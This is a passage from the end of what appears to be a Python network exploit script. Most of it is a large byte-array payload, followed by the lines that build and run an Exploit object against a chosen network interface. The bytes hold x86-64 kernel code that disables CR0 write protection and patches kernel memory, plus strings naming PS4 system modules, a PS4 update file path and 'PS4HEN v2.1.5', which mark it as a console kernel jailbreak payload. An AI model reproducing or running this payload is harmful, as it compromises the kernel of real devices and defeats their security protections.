196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,157,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,85,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,57,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,16,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,53,210,100,0,41,202,137,144,113,208,100,0,72,141,21,214,254,255,255,129,234,3,224,100,0,41,202,137,144,63,222,100,0,72,141,21,73,249,255,255,129,234,106,238,98,0,41,202,137,144,166,236,98,0,72,141,21,146,253,255,255,129,234,178,111,98,0,41,202,137,144,238,109,98,0,72,141,21,17,250,255,255,68,141,130,66,108,150,255,129,234,239,149,105,0,65,41,200,41,202,68,137,128,250,145,105,0,137,144,43,148,105,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,129,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,57,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,144,25,0,0,65,188,12,0,0,0,72,139,53,139,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,184,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,116,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,100,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,168,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,61,25,0,0,139,68,36,8,76,137,247,72,139,53,7,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,63,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,92,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,176,21,0,0,72,137,124,36,8,76,137,230,255,21,226,24,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,164,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,35,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,212,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,99,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,54,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,72,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,176,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,253,19,0,0,255,21,255,22,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,223,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,101,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,96,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,209,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,137,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,147,210,99,0,41,209,137,136,207,208,99,0,72,141,13,36,251,255,255,68,141,129,213,37,156,255,129,233,14,231,99,0,41,209,65,41,208,137,136,74,229,99,0,72,141,13,91,252,255,255,129,233,18,14,100,0,68,137,128,103,216,99,0,41,209,137,136,78,12,100,0,72,141,13,90,254,255,255,129,233,77,26,100,0,41,209,137,136,137,24,100,0,72,141,13,222,251,255,255,129,233,65,209,99,0,41,209,137,136,125,207,99,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,90,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,72,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,214,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,124,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,93,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,248,17,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,42,18,0,0,72,137,223,255,21,145,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,98,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,57,17,0,0,233,186,0,0,0,255,21,38,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,244,16,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,235,16,0,0,72,137,239,255,21,242,16,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,176,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,115,16,0,0,72,137,239,255,21,122,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,240,19,84,1,72,137,21,161,16,0,0,72,141,144,136,202,85,1,72,137,21,139,16,0,0,72,141,144,216,8,45,2,72,137,21,117,16,0,0,72,141,144,200,100,100,2,72,137,21,95,16,0,0,72,141,144,192,190,100,2,72,137,21,73,16,0,0,72,141,144,40,5,102,2,72,137,21,51,16,0,0,72,141,144,56,5,102,2,72,137,21,29,16,0,0,72,141,144,64,62,102,2,72,137,21,7,16,0,0,72,141,144,72,70,102,2,72,137,21,241,15,0,0,72,141,144,192,255,101,2,72,137,21,219,15,0,0,72,141,144,160,21,16,1,72,137,21,197,15,0,0,72,141,144,240,70,9,0,72,137,21,111,16,0,0,72,141,144,64,48,14,0,72,137,21,89,16,0,0,72,141,144,0,50,14,0,72,137,21,67,16,0,0,72,141,144,96,64,26,0,72,137,21,45,16,0,0,72,141,144,32,66,26,0,72,137,21,23,16,0,0,72,141,144,128,85,44,0,72,137,21,1,16,0,0,72,141,144,160,4,12,0,72,137,21,235,15,0,0,72,141,144,96,5,12,0,72,137,21,213,15,0,0,72,141,144,48,220,45,0,72,137,21,191,15,0,0,72,141,144,16,129,4,0,72,137,21,169,15,0,0,72,141,144,128,218,33,0,72,137,21,147,15,0,0,72,141,144,16,202,47,0,72,137,21,125,15,0,0,72,141,144,128,226,67,0,72,137,21,103,15,0,0,72,141,144,208,12,61,0,72,137,21,249,14,0,0,72,141,144,80,246,98,0,72,137,21,227,14,0,0,72,141,144,208,45,100,0,72,137,21,205,14,0,0,72,141,144,16,54,100,0,72,137,21,183,14,0,0,72,141,144,0,232,99,0,72,137,21,161,14,0,0,72,141,144,48,46,100,0,72,137,21,139,14,0,0,72,141,144,64,215,97,0,72,137,21,77,14,0,0,72,141,144,112,95,98,0,72,137,21,39,14,0,0,72,141,144,48,92,98,0,72,137,21,33,14,0,0,72,141,144,0,236,98,0,72,137,21,27,14,0,0,72,141,144,0,88,98,0,72,137,21,245,13,0,0,72,141,144,160,173,97,0,72,137,21,15,14,0,0,72,141,144,160,126,60,0,72,137,21,33,14,0,0,72,141,144,224,232,45,0,72,137,21,3,14,0,0,72,141,144,16,235,45,0,72,137,21,237,13,0,0,72,141,144,224,26,45,0,72,137,21,239,13,0,0,72,141,144,224,54,56,0,72,137,21,113,13,0,0,72,141,144,96,117,53,0,72,137,21,139,13,0,0,72,141,144,144,115,53,0,72,137,21,117,13,0,0,72,141,144,240,118,53,0,72,137,21,95,13,0,0,72,141,144,64,119,53,0,72,5,48,125,53,0,72,137,21,67,13,0,0,72,137,5,52,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,79,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,254,13,0,0,255,37,64,14,0,0,72,139,5,225,13,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,72,14,0,0,72,137,223,255,21,239,13,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,134,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,103,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,11,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,248,11,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,203,11,0,0,233,239,0,0,0,255,21,184,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,152,11,0,0,133,192,117,44,72,139,53,133,12,0,0,65,107,252,58,186,2,0,0,0,255,21,198,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,99,11,0,0,72,137,239,255,21,106,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,35,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,215,10,0,0,72,137,239,255,21,222,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,108,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,193,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,6,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,233,1,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,75,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,136,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,112,240,49,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,91,1,0,0,72,141,179,159,124,61,0,77,137,224,72,141,13,76,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,53,1,0,0,76,141,53,203,8,0,0,72,141,179,80,74,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,164,252,255,255,133,192,15,133,12,1,0,0,72,141,179,167,65,60,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,130,252,255,255,133,192,15,133,234,0,0,0,72,141,179,240,115,60,0,77,137,224,72,141,13,120,8,0,0,186,4,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,196,0,0,0,72,141,179,57,132,252,0,77,137,224,72,141,13,190,8,0,0,186,5,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,158,0,0,0,72,141,179,17,108,160,0,77,137,224,72,141,13,158,8,0,0,186,1,0,0,0,72,137,239,232,16,252,255,255,133,192,117,124,72,141,179,125,225,96,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,242,251,255,255,133,192,117,94,72,141,179,182,22,116,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,212,251,255,255,133,192,117,64,72,141,179,118,217,56,0,77,137,224,72,141,13,211,7,0,0,186,5,0,0,0,72,137,239,232,178,251,255,255,133,192,117,30,72,141,179,159,1,213,0,77,137,224,72,141,13,173,7,0,0,186,3,0,0,0,72,137,239,232,144,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,42,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,107,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,229,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,200,251,255,255,69,49,246,76,141,61,36,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,234,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,16,177,24,0,77,137,224,72,141,13,163,6,0,0,186,4,0,0,0,72,137,239,232,135,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,162,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,123,8,0,0,72,141,13,138,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,122,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,28,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,0,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,208,249,255,255,133,192,117,26,72,141,179,96,212,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,178,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,76,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,199,5,0,0,72,199,68,36,24,0,0,0,0,232,35,249,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,4,250,255,255,69,49,228,76,141,45,96,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,45,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,181,204,14,0,72,141,13,67,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,211,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,208,204,14,0,72,141,13,28,5,0,0,186,2,0,0,0,72,137,239,232,175,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,73,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,16,196,33,2,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,100,182,22,0,36,189,134,0,34,192,139,0,196,214,161,0,146,182,22,0,12,158,36,0,82,189,134,0,242,214,161,0,32,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,128,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,120,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,96,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])


    exploit = Exploit(offs, args.interface, args.ipv, payload)
    exploit.run()

    return 0


if __name__ == '__main__':
    exit(main())
